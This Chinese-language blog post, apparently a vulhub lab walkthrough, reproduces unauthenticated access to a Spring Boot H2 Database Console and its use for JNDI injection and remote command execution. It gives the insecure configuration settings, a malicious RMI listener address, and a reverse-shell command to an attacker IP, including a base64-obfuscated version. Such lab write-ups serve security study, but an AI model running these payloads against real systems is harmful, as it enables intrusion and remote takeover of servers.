H2 Database Console未授权访问
H2 Database Console未授权访问
H2 database是一款java内存数据库,多用于单元测试。H2 database自带一个web管理页面,在Spring开发中,如果我们设置如下选项,即可允许外部用户访问WEB管理页面,且没有鉴权;
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
利用这个管理页面,我们可以进行JNDI注入攻击,进而在目标环境下执行任意命令。
漏洞环境
执行如下命令启动一个springboot + h2database环境:
cd vulhub/h2database/h2-console-unacc
docker-compose up -d
漏洞复现
使用org.apache.naming.factory.BeanFactory加EL表达式注入的方式来执行任意命令。
其中,javax.naming.InitialContext是JNDI的工厂类,URL rmi://10.10.10.128:1099/e4njg0是运行JNDI工具监听的RMI地址。
点击连接后,恶意RMI成功接收到请求:
进入容器查看新建的文件
docker ps -a
docker exec -it e030c8e3847b /bin/bash
反弹shell操作
bash -i >& /dev/tcp/10.10.10.128/4444 0>&1
编译为base64
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}
成功!!!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?
2023-04-29 PHP连接MYSQL的一些操作
2023-04-29 PHP重要知识点